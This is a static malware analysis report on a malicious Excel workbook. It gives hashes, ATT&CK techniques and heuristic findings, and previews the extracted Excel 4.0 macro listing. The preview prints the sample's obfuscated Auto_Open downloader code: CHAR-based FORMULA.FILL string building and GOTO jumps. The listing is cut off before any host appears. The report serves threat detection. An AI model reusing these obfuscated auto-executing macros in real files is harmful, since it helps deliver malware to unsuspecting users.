Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1bc98b945983a493…

MALICIOUS

Office (OLE)

185.5 KB Created: 2020-05-08 11:57:36 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: d6eceae69f8cccf7df3f3c644a81f34c SHA-1: a9f6b468753009746c247abf77b76cc521a8f340 SHA-256: 1bc98b945983a4935dce65731fbcd62e4221e18e20cb6c02b63a4f0463a7bb36
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro that utilizes dangerous functions such as RUN. This indicates an attempt to execute arbitrary code upon opening the document. The specific macro functions used suggest a downloader or initial execution stage for further malicious activity.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 126658 bytes
SHA-256: 4dcc882017019ac41ad5040d8c7ce00e00b224a1cad2ecfdffc4e8890290679d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!EL40284 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,IE72,"",-0.09734093067426401180
'  Sheet,BI123,"",197.20015624999999204192
'  Sheet,IJ144,"",-1.95024875621890547706
'  Sheet,DW146,"",368.00000000000000000000
'  Sheet,EW177,"",388.00000000000000000000
'  Sheet,EM186,"",-465.20031249999999545253
'  Sheet,FR200,"",283.00000000000000000000
'  Sheet,IN244,"",-14.85714285714285765039
'  Sheet,BN247,"",-47.20003906249999658939
'  Sheet,FY270,"",17.00000000000000000000
'  Sheet,CL366,"",-5.52941176470588224845
'  Sheet,CS386,"",-100.00000000000000000000
'  Sheet,IN396,"",20.00000000000000000000
'  Sheet,DL411,"",-81.12500000000000000000
'  Sheet,GB490,"",-136.00000000000000000000
'  Sheet,DG584,"",-64.00000000000000000000
'  Sheet,GG624,"",-5.61224489795918390911
'  Sheet,HU632,"",295.50000000000000000000
'  Sheet,JC669,"",-0.97959183673469385489
'  Sheet,GC716,"",0.44956140350877193956
'  Sheet,FY719,"",-108.00000000000000000000
'  Sheet,EA729,"",-383.00000000000000000000
'  Sheet,GQ755,"",494.20031249999999545253
'  Sheet,DN779,"",-6.90491803278688465184
'  Sheet,DY784,"",-97.00000000000000000000
'  Sheet,EP802,"",309.00000000000000000000
'  Sheet,CI809,"",-0.46778042959427207359
'  Sheet,CX868,"",-149.00000000000000000000
'  Sheet,W936,"",-291.50000000000000000000
'  Sheet,L964,"",-264.50000000000000000000
'  Sheet,N1024,"",157.00000000000000000000
'  Sheet,HB1060,"",-524.00000000000000000000
'  Sheet,BU1076,"",-0.43243243243243245644
'  Sheet,BU1167,"",0.15159574468085107446
'  Sheet,BP1187,"",-336.00000000000000000000
'  Sheet,IE1200,"",512.20000000000004547474
'  Sheet,J1219,"",2.28000000000000024869
'  Sheet,GK1302,"",2.14084507042253502362
'  Sheet,IG1345,"",0.59459459459459462760
'  Sheet,IU1365,"",-0.51607445008460239855
'  Sheet,IF1382,"",-294.50000000000000000000
'  Sheet,EH1433,"",-0.06481481481481481122
'  Sheet,FX1436,"",497.20031249999999545253
'  Sheet,X1470,"",-92.12500000000000000000
'  Sheet,EU1493,"",219.20015624999999204192
'  Sheet,ER1540,"",253.50000000000000000000
'  Sheet,V1551,"",-117.87500000000000000000
'  Sheet,IA1551,"",-45.20003906249999658939
'  Sheet,CP1608,"",-0.12056737588652481630
'  Sheet,CG1617,"",-0.22840909090909092272
'  Sheet,IK1618,"",100.00000000000000000000
'  Sheet,DS1622,"",-0.42301184433164129572
'  Sheet,DK1640,"",-382.00000000000000000000
'  Sheet,DN1650,"FORMULA.FILL(CHAR(CK41895+CR2274)&CHAR(GJ5852+JO22077)&CHAR(DB32251*CL6930)&CHAR(GJ5852*EM54087)&CHAR(IO38840+FC63241)&CHAR(CK41895*GL23761)&CHAR(BK62533+Y2368)&CHAR(IZ48203+FY52858)&CHAR(IO38840-ET15884)&CHAR(BD43664/BZ57050)&CHAR(EV22735-FX65493)&CHAR(DB32251-CV31918)&CHAR(EV22735+JL5934)&CHAR(IO38840*JA11876)&CHAR(BY2952*GI43489)&CHAR(EV22735+IM37073)&CHAR(BY2952*GK35660)&CHAR(IO38840/FC20303)&CHAR(BD43664/CG62718)&CHAR(IZ48203*Y16117)&CHAR(GJ5852-CH50863)&CHAR(E18362-IC39408)&CHAR(EV22735*ER21464)&CHAR(IO38840*CR41461),DN1651)",""
'  Sheet,DN1652,GOTO(GP58498),""
'  Sheet,FV1663,"",-16.29091009090909025758
'  Sheet,BG1678,"",276.00000000000000000000
'  Sheet,U1727,"",-258.50000000000000000000
'  Sheet,FJ1778,"",-0.16312056737588653821
'  Sheet,CL1790,"",-55.00000000000000000000
'  Sheet,IW1805,"",-383.00000000000000000000
'  Sheet,ID1849,"",0.72972972972972971473
'  Sheet,IW1880,"FORMULA.FILL(CHAR(BD43664/GV16613)&CHAR(BY2952*CT47055)&CHAR(DB32251*FN28886)&CHAR(BK62533+GJ39851)&CHAR(BK62533/H18165)&CHAR(DB32251*FQ64220)&CHAR(GJ5852*BV23418)&CHAR(E18362-Y60222)&CHAR(DB32251*FH35012)&CHAR(BD43664-GT43762)&CHAR(BY2952/EO25654)&CHAR(DB32251-CF39961)&CHAR(DB32251*FD5211)&CHAR(GJ5852-EE52554)&CHAR(IO38840+DS58757)&CHAR(DB32251-GW24880)&CHAR(BK62533+EZ13476)&CHAR(BK62533/EP55649)&CHAR(E18
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.